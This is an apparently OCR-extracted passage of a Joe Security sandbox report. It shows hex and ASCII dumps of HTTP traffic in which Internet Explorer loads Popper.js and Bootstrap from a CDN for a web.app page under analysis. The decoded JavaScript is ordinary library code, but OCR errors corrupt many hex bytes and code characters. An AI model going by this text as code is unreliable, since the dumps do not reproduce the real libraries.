64 74 68 7c 7¢ 30 29 2c 61 2f 31 30 30 2a 72 7d 72 65 74 75 72 6e 20 72 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 65 2c 74 2¢
6f 2c 69 29 7b 76 61 72 20 6e 3d 5b 30 2c 30 5d 2c¢ 72 3d 2d 31
Data Ascii: ;}var d=c(s);return d[t)/100*r}if('vh'===p||'vw'===p){var a;return a='vh'===p?J(document.documentElement.cli
entHeight,window.innerHeight||0):J(document.documentElement.clientWidth,window.innerWidth||0),a/100*r}return r
Junction z(e,t,0,i){var n=[0,0],r=-1

2021-09-15 14:28:03 UTC 243 IN Data Raw: 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2c 5a 3d 5b 27 45 64 67 65 27 2c 27 54
72 69 64 65 6e 74 27 2c 27 46 69 72 65 66 6f 78 27 5d 2c 24 3d 30 2c 65 65 3d 30 3b 65 65 3c 5a 2e 6¢ 65 6e 67 74 68
3b 65 65 2b 3d 31 29 69 66 28 51 26 26 30 3c 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64
65 78 4f 66 28 5a 5b 65 65 5d 29 29 7b 24 3d 31 3b 62 72 65 61 6b 7d 76 61 72 20 69 2c 74 65 3d 51 26 26 77 69 6e 64 6
f 77 2e 50 72 6f 6d 69 73 65 2c 6f 65 3d 74 65 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 21 31 3b 7265 7
47572 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 7c 7c 28 74 3d 21 30 2c 77 69 6e 64 6f 77 2e 50 72 6f 6d 69 73 65 2e 7
2 65 73 6f 6¢ 76 65 28 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f
Data Ascii: fined'!=typeof document,Z=['Edge’, Trident','Firefox’],$=0,ee=0;ee<Z.length;ee+=1)if(Q&&0<=navigator.userAge
nt.indexOf(Z[ee])){$=1;break}var i,te=Q&&window.Promise,oe=te?function(e){var t=!1;return function(){t||(t=!0,window.Pro
mise.resolve().then(functio

2021-09-15 14:28:03 UTC 244 IN Data Raw: 75 6d 65 6e 74 73 2e 6¢ 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d
3f 6172 67 75 6d 65 6e 74 73 5b 32 5d 3a 7b 7d 3b 6e 65 28 74 68 69 73 2c 74 29 2c 74 68 69 73 2e 73 63 68 65 64 75
6c 65 55 70 64 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 65 71 75 65 73 74 41 6e 69 6d 61
74 69 6f 6e 46 72 61 6d 65 28 6e 2e 75 70 64 61 74 65 29 7d 2c 74 68 69 73 2e 75 70 64 61 74 65 3d 6f 65 28 74 68 69 73
2e 75 70 64 61 74 65 2e 62 69 6e 64 28 74 68 69 73 29 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 73 65 28 7b 7d 2c 7
4 2e 44 6566 61 75 6¢ 74 73 2¢ 72 29 2¢ 74 68 69 73 2e 73 74 61 74 65 3d 7b 69 73 44 65 73 74 72 6f 79 65 64 3a 21 31
2c 69 73 43 72 65 61 74 65 64 3a 21 31 2c 73 63 72 6f 6¢ 6¢ 50 61
Data Ascii: uments.length&&void 0!'==arguments[2]?arguments[2]:{};ne(this,t),this.scheduleUpdate=function(){return
requestAnimationFrame(n.update)},this.update=oe(this.update.bind(this)),this.options=se({},t. Defaults,r),this.state=
{isDestroyed:!1,isCreated:!1,scrollPa

2021-09-15 14:28:03 UTC 246 IN Data Raw: 74 3a 7b 6f 72 64 65 72 3a 31 30 30 2c 65 6e 61 62 6¢ 65 64 3a 21 30 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28
6529 7b 76 61 72 20 74 3d 65 2e 70 6¢ 61 63 65 6d 65 6e 74 2c 6f 3d 74 2e 73 70 6¢ 69 74 28 27 2d 27 29 5b 30 5d 2¢
69 3d 74 2e 73 70 6¢ 69 74 28 27 2d 27 29 5b 31 5d 3b 69 66 28 69 29 7b 76 61 72 20 6e 3d 65 2e 6f 66 66 73 65 74 73
2c 72 3d 6e 2e 72 65 66 65 72 65 6e 63 65 2c 70 3d 6e 2e 70 6f 70 70 65 72 2¢ 73 3d 2d 31 21 3d 3d 5b 27 62 6f 74 74 6f
6d 27 2c 27 74 6f 70 27 5d 2e 69 6e 64 65 78 4f 66 28 6f 29 2c 64 3d 73 3f 27 6¢ 65 66 74 27 3a 27 74 6f 70 27 2¢ 61 3d
73 3f 27 77 69 64 74 68 27 3a 27 68 65 69 67 68 74 27 2c 6¢ 3d 7b 73 74 61 72 74 3a 70 65 28 7b 7d 2c 64 2c 72 5b 64 5
d 29 2c 65 6e 64 3a 70 65 28 7b 7d 2c 64 2c 72 5b 64 5d 2b 72 5b
Data Ascii: t:{order:100,enabled:!0,fn:function(e){var t=e.placement,o=t.split(*-")[0],i=t.split(-")[1];if(i){var n=e.offsets,r=n
.reference,p=n.popper,s=-1!==['bottom’,'top’].indexOf(0),d=s?'left":'top',a=s?'width"'height',|={start:pe({},d,r[d]),end:pe({}.d,
r[d]+r[

2021-09-15 14:28:03 UTC 247 IN Data Raw: 26 26 28 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 5b 64 5d 3d 72 28 69 5b 73 5d 29 29 2c 65 7d 7d 2c
6172 72 6f 77 3a 7b 6f 72 64 65 72 3a 35 30 30 2c 65 6e 61 62 6¢ 65 64 3a 21 30 2c 66 6e 3a 66 75 6e 63 74 69 6f 6e 28
65 2c 6f 29 7b 76 61 72 20 69 3b 69 66 28 21 46 28 65 2e 69 6e 73 74 61 6e 63 65 2e 6d 6f 64 69 66 69 65 72 73 2c 27 61
7272 6f 77 27 2c 27 6b 65 65 70 54 6f 67 65 74 68 65 72 27 29 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 6e 3d 6f 2e 65
6c 65 6d 65 6e 74 3b 69 66 28 27 73 74 72 69 6e 67 27 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 6e 3d 65 2e 69 6e
7374 61 6e 63 65 2e 70 6f 70 70 65 72 2e 71 75 65 72 79 53 65 6¢ 65 63 74 6f 72 28 6e 29 2c 21 6e 29 72 65 74 75 72
6e 20 65 3b 7d 65 6¢ 73 65 20 69 66 28 21 65 2e 69 6e 73 74 61
Data Ascii: &&(e.offsets.popper[d]=r(i[s])),e}},arrow:{order:500,enabled:!0,fn:function(e,0){var i;if(!F(e.instance.modi
fiers,'arrow','keepTogether'))return e;var n=o.element;if(‘string'==typeof n){if(n=e.instance.popper.querySelector(n),!n)return
e;}else if(le.insta

2021-09-15 14:28:03 UTC 248 IN Data Raw: 49 53 45 3a 70 3d 71 28 69 2c 21 30 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6¢ 74 3a 70 3d 74 2e 62 65 68 61
76 69 6f 72 3b 7d 72 65 74 75 72 6e 20 70 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 73 2c 64 29 7b 69 66 28
69 21 3d 3d 73 7c 7c 70 2e 6¢ 65 6e 67 74 68 3d 3d 3d 64 2b 31 29 72 65 74 75 72 6e 20 65 3b 69 3d 65 2e 70 6¢ 61 63
65 6d 65 6e 74 2e 73 70 6¢ 69 74 28 27 2d 27 29 5b 30 5d 2c 6e 3d 78 28 69 29 3b 76 61 72 20 61 3d 65 2e 6f 66 66 73
65 74 73 2e 70 6f 70 70 65 72 2c 6¢ 3d 65 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 2¢ 66 3d 58 2¢ 6d 3d 27
6c 65 66 74 27 3d 3d 3d 69 26 26 66 28 61 2e 72 69 67 68 74 29 3e 66 28 6¢ 2e 6¢ 65 66 74 29 7c 7¢ 27 72 69 67 68 74 2
7 3d 3d 3d 69 26 26 66 28 61 2e 6¢ 65 66 74 29 3c 66 28 6¢ 2e 72
Data Ascii: ISE:p=q(i,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(i'==s||p.length===d+1)return e;i
=e.placement.split(-")[0],n=x(i);var a=e.offsets.popper,|=e.offsets.reference,f=X,m="left'===i&&f(a.right)>f(l.left)|| right'===i
&&f(a.left)<f(l.r

2021-09-15 14:28:03 UTC 250 IN Data Raw: 65 2e 6e 61 6d 65 7d 29 2e 62 6f 75 6e 64 61 72 69 65 73 3b 69 66 28 74 2e 62 6f 74 74 6f 6d 3c 6f 2e 74 6f 70
7c 7c 74 2e 6¢ 65 66 74 3e 6f 2e 72 69 67 68 74 7c 7c 74 2e 74 6f 70 3e 6f 2e 62 6f 74 74 6f 6d 7c 7c 74 2e 72 69 67 68
74 3c 6f 2e 6¢ 65 66 74 29 7b 69 66 28 21 30 3d 3d 3d 65 2e 68 69 64 65 29 72 65 74 75 72 6e 20 65 3b 65 2e 68 69 64
65 3d 21 30 2c 65 2e 61 74 74 72 69 62 75 74 65 73 5b 27 78 2d 6f 75 74 2d 6f 66 2d 62 6f 75 6e 64 61 72 69 65 73 27 5d
3d 27 27 7d 65 6¢ 73 65 7b 69 66 28 21 31 3d 3d 3d 65 2e 68 69 64 65 29 72 65 74 75 72 6e 20 65 3b 65 2e 68 69 64 65
3d 21 31 2c 65 2e 61 74 74 72 69 62 75 74 65 73 5b 27 78 2d 6f 75 74 2d 6f 66 2d 62 6f 75 6e 64 61 72 69 65 73 27 5d 3d
21317d 72 65 74 75 72 6e 20 65 7d 7d 2c 63 6f 6d 70 75 74
Data Ascii: e.name}).boundaries;if(t.bottom<o.topl|t.left>0.right||t.top>0.bottom||t.right<o.left){if('0===e.hide)return e;e.hide=
10,e.attributes['x-out-of-boundaries']="}else{if(!1===e.hide)return e;e.hide=!1,e.attributes['x-out-of-boundaries|=!1}return e}}
,comput

2021-09-15 14:28:03 UTC 251 IN Data Raw: 72 69 62 75 74 65 73 29 2c 65 2e 61 72 72 6f 77 45 6¢ 65 6d 65 6e 74 26 26 4f 62 6a 65 63 74 2e 6b 65 79 73
2865 2e 61 72 72 6f 77 53 74 79 6¢ 65 73 29 2e 6¢ 65 6e 67 74 68 26 26 59 28 65 2e 61 72 72 6f 77 45 6¢ 65 6d 65 6e 74
2c 652e 61 72 72 6f 77 53 74 79 6¢ 65 73 29 2¢ 65 7d 2c 6f 6e 4c 6f 61 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2¢ 74 2¢ 6f 2¢
69 2c 6e 29 7b 76 61 72 20 72 3d 4f 28 6e 2c 74 2c 65 29 2c 70 3d 76 28 6f 2e 70 6¢ 61 63 65 6d 65 6e 74 2¢c 72 2¢ 74 2¢
65 2c 6f 2e 6d 6f 64 69 66 69 65 72 73 2e 66 6¢ 69 70 2e 62 6f 75 6e 64 61 72 69 65 73 45 6¢ 65 6d 65 6€ 74 2¢ 6f 2e 6d
6f 64 69 66 69 65 72 73 2e 66 6¢ 69 70 2e 70 61 64 64 69 6e 67 29 3b 72 65 74 75 72 6e 20 74 2e 73 65 74 41 74 74 72
69 62 75 74 65 28 27 78 2d 70 6¢ 61 63 65 6d 65 6e 74 27
Data Ascii: ributes),e.arrowElement&&Object.keys(e.arrowStyles).length&&Y (e.arrowElement,e.arrowStyles),e},onL
oad:function(e,t,0,i,n){var r=0(n,t,e),p=v(o.placement,r,t,e,o.modifiers.flip.boundariesElement,o.modifiers.flip.padding
);return t.setAttribute('x-placement’

2021-09-15 14:28:03 UTC 251 IN Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0
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Session ID Source IP

6 192.168.2.4
kBytes

Timestamp transferred

2021-09-15 14:28:03 UTC 251

2021-09-15 14:28:03 UTC 252

2021-09-15 14:28:03 UTC 253

2021-09-15 14:28:03 UTC 253

2021-09-15 14:28:03 UTC 254

2021-09-15 14:28:03 UTC 256

Copyright Joe Security LLC 2021

Source Port

49787

Direction

ouT

Destination IP Destination Port Process

104.18.10.207 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: https://ranko23.web.app/miajarantarankaran.html

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: stackpath.bootstrapcdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 15 Sep 2021 14:28:03 GMT

Content-Type: application/javascript; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

CDN-PullZone: 252412

CDN-Uid: b1941f61-b576-4f40-80de-5677ach38f74
CDN-RequestCountryCode: DE

CDN-EdgeStorageld: 723

CDN-EdgeStorageld: 718

Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT

CDN-CachedAt: 2021-03-11 11:57:52

CDN-RequestPullSuccess: True

CDN-RequestPullCode: 200

Cache-Control: public, max-age=31919000

timing-allow-origin: *

cross-origin-resource-policy: cross-origin

access-control-allow-origin: *

X-content-type-options: nosniff

CDN-Requestld: 48f4598378fe1b699fceeb6ac68d6cc25

CDN-Cache: HIT

CF-Cache-Status: HIT

Age: 15268800

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Server: cloudflare

CF-RAY: 68f28a12fcc916e6-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 37 62 65 39 0d Oa 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70
73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31
2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74
68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72
73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75
62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6¢ 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29
0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28

Data Ascii: 7be9/*! * Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https:
/lgithub.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LI
CENSE) */!function(

Data Raw: 6f 64 75 6¢ 65 3f 65 28 65 78 70 6f 72 74 73 2c 72 65 71 75 69 72 65 28 22 6a 71 75 65 72 79 22 29 2¢c 72 65
717569 72 65 28 22 70 6f 70 70 65 72 2e 6a 73 22 29 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64
65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2¢c 22 6a 71
7565727922 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74
2e 6a51 7565 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2¢ 68 29 7b
2275736520 73747269 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2¢ 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d
30 3b 6e 3c 65 2e 6¢ 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72

Data Ascii: odule?e(exports,require(“jquery”),require("popper.js")):“function"==typeof define&&define.amd?define(["expor
ts","jquery"”,"popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<
e.length;n++){var

Data Raw: 2c 58 65 2c 74 6e 2c 65 6e 2c 6e 6e 2c 72 6e 2c¢ 6f 6e 2¢ 73 6e 2¢ 61 6e 2c 6¢ 6e 2¢ 63 6e 2¢ 68 6e 2¢ 75 6e
2c 66 6e 2c 64 6e 2c 67 6e 2c 5f 6e 2¢ 6d 6e 2¢ 70 6e 2¢ 76 6e 2¢ 79 6e 2c 45 6e 2¢ 43 6e 2c 54 6e 2¢ 62 6e 2c 53 6e 2¢
49 6e 2c 41 6e 2c 44 6e 2c 77 6e 2c 4e 6e 2c 4f 6e 2c 6b 6e 2¢ 50 6e 2¢ 6a 6e 2¢ 48 6e 2c 4c 6e 2¢ 52 6e 2¢ 78 6e 2¢c 57
6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f
6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74
75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6¢ 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f
6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74

Data Ascii: ,Xe,tn,en,nn,rn,on,sn,an,In,cn,hn,un,fn,dn,gn,_n,mn,pn,vn,yn,En,Cn,Tn,bn,Sn,In,An,Dn,wn,Nn,On kn,P
n,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i}{var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l. TRANSI
TION_END,function(){n=!0}),setTimeout

Data Raw: 5f 45 4e 44 5d 3d 7b 62 69 6e 64 54 79 70 65 3a 65 2c 64 65 6¢ 65 67 61 74 65 54 79 70 65 3a 65 2c 68 61 6e
64 6¢ 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 69 28 74 2e 74 61 72 67 65 74 29 2e 69 73 28 74 68 69 73 29
29 7265 74 75 72 6e 20 74 2e 68 61 6e 64 6¢ 65 4f 62 6a 2e 68 61 6e 64 6¢ 65 72 2e 61 70 70 6¢ 79 28 74 68 69 73 2¢
61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6¢ 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6¢ 65 72 74 22 2¢ 61 3d 22 2e 22 2b 2
8 6f 3d 22 62 73 2e 61 6¢ 65 72 74 22 29 2¢ 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63
6¢ 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6¢ 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3
a 2263 6¢ 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22

Data Ascii: _END]={bindType:e,delegate Type:e,handle:function(t){if(i(t.target).is(this))return t.handleObj.handler.apply
(this,arguments)}},1}(e),Kn=(n="alert",a="."+(0="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a
,CLICK_DATA_API:"click"+a+".data-api"
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Timestamp transferred Direction Data

2021-09-15 14:28:03 UTC 257 IN Data Raw: 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 34 2e 31 2e 33 22 7d 7d 5d 29 2c 69 7d
2829 2c 72 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 75 2e 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 2c 27 5b 64 61 74
61 2d 64 69 73 6d 69 73 73 3d 22 61 6¢ 65 72 74 22 5d 27 2c 5f 2e 5f 68 61 6e 64 6¢ 65 44 69 73 6d 69 73 73 28 6e 65 77
20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e
43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6¢ 69 63 74 3d 66 75 6e 63 74 69 6f
6e 2829 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d
2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c
Data Ascii: ,get:function(){return"4.1.3"}}]),i}(),r(document).on(u.CLICK_DATA_API,'[data-dismiss="alert"]',_._handleDis
miss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryin
terface},_),Mn=(p="button",

2021-09-15 14:28:03 UTC 258 IN Data Raw: 7b 6b 65 79 3a 22 56 45 52 53 49 4f 4e 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e
2234 2e 31 2e 3322 7d 7d 5d 29 2c 6e 7d 28 29 2c 6d 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 4f 2e 43 4c 49 43 4b 5f
44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6¢ 74
28293b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6¢ 61 73 73 28 62 29 7c 7c 28 65 3d
6d 28 65 29 2e 63 6¢ 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6¢ 6
€ 28 6d 28 65 29 2c 22 74 6f 67 67 6¢ 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4¢ 55 52 5f 44 41 54 41 5f 41
50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20
Data Ascii: {key:"VERSION",get:function()}{return“4.1.3"}}]),n}(),m(document).on(O.CLICK_DATA_API,|,function(t){t.prevent
Default();var e=t.target;m(e).hasClass(b)||(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.F
OCUS_BLUR_DATA_API,|,function(t){var

2021-09-15 14:28:03 UTC 260 IN Data Raw: 6f 75 63 68 54 69 6d 65 6f 75 74 3d 6e 75 6¢ 6¢ 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 3d 74 68 69 73 2e 5f 67
65 74 43 6f 6e 66 69 67 28 65 29 2c 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 3d 50 28 74 29 5b 30 5d 2c 74 68 69 73 2e 5f
69 6e 64 69 63 61 74 6f 72 73 45 6¢ 65 6d 65 6e 74 3d 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6¢
65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20
74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74
68 69 73 2e 5f 69 73 53 6¢ 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6¢ 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68
65 6e 56 69 73 69 62 6¢ 65 3d 66 75 6e 63 74 69 6f 6e
Data Ascii: ouchTimeout=null,this._config=this._getConfig(e),this._element=P(t)[0],this._indicatorsElement=this._element
.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding||this._slide(q)}
Jt.nextWhenVisible=function

2021-09-15 14:28:03 UTC 261 IN Data Raw: 65 64 3d 6e 75 6¢ 6¢ 2c 74 68 69 73 2e 5f 69 73 53 6¢ 69 64 69 6e 67 3d 6e 75 6¢ 6¢ 2¢ 74 68 69 73 2e 5f 61
6374 69 76 65 45 6¢ 65 6d 65 6e 74 3d 6e 75 6¢ 6¢ 2¢ 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6¢ 65 6d 65 6e
74 3d 6e 75 6¢ 6¢ 7d 2c 74 2e 5f 67 65 74 43 6f 6e 66 69 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20
743d 6¢ 28 7b 7d 2¢ 57 2¢ 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2¢ 55 29 2¢ 74 7d
2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74
68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65
6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2¢ 66 75
Data Ascii: ed=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},t._getConfig=function(t)
{return t=I({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(thi
s._element).on(Q.KEYDOWN,fu

2021-09-15 14:28:03 UTC 263 IN Data Raw: 54 61 72 67 65 74 3a 74 2c 64 69 72 65 63 74 69 6f 6e 3a 65 2c 66 72 6f 6d 3a 69 2c 74 6f 3a 6e 7d 29 3b 72
65 74 75 72 6e 20 50 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 72 29 2¢c 72 7d 2c 74 2e 5f
73 65 74 41 63 74 69 76 65 49 6e 64 69 63 61 74 6f 72 45 6¢ 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66
2874 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6¢ 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6¢ 69 63 65
2e 63 61 6¢ 6¢ 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6¢ 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6C 65 63
74 6f 72 41 6¢ 6C 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6¢ 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69
73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6¢ 65 6d 65 6e
Data Ascii: Target:t,direction:e,from:i,to:n});return P(this._element).trigger(r),r},t._setActivelndicatorElement=function(t){if(t
his._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this.
_indicatorsElemen

2021-09-15 14:28:03 UTC 264 IN Data Raw: 76 61 72 20 6e 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 69 3f 69 3a 65 2e 73 6¢ 69 64 65 3b 69
66 28 74 7c 7c 28 74 3d 6e 65 77 20 6f 28 74 68 69 73 2c 65 29 2¢ 50 28 74 68 69 73 29 2e 64 61 74 61 28 48 2c 74 29
29 2c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 69 29 74 2e 74 6f 28 69 29 3b 65 6¢ 73 65 20 69 66 28 22 73 74
72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7h 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66
20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d
65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6¢ 73 65 20 65 2e 69 6e 74 65 72 76 61 6¢ 26 26 28 74 2
e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6¢ 65 28 29 29 7d 29 7d
Data Ascii: var n="string"==typeof i?i:e.slide;if(t||(t=new o(this,e),P(this).data(H,t)),"number‘==typeof i)t.to(i);else if("strin
g"==typeof n){if(“undefined"==typeof t[n])throw new TypeError('No method named "“+n+"");t[n]()}else e.interval&&(t.paus
e(),t.cycle())h}

2021-09-15 14:28:03 UTC 265 IN Data Raw: 6¢ 6¢ 61 70 73 65 22 5d 27 2c 54 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 65
2c 7429 7b 74 68 69 73 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 3d 21 31 2c 74 68 69 73 2e 5f 65 6¢ 65 6d 65
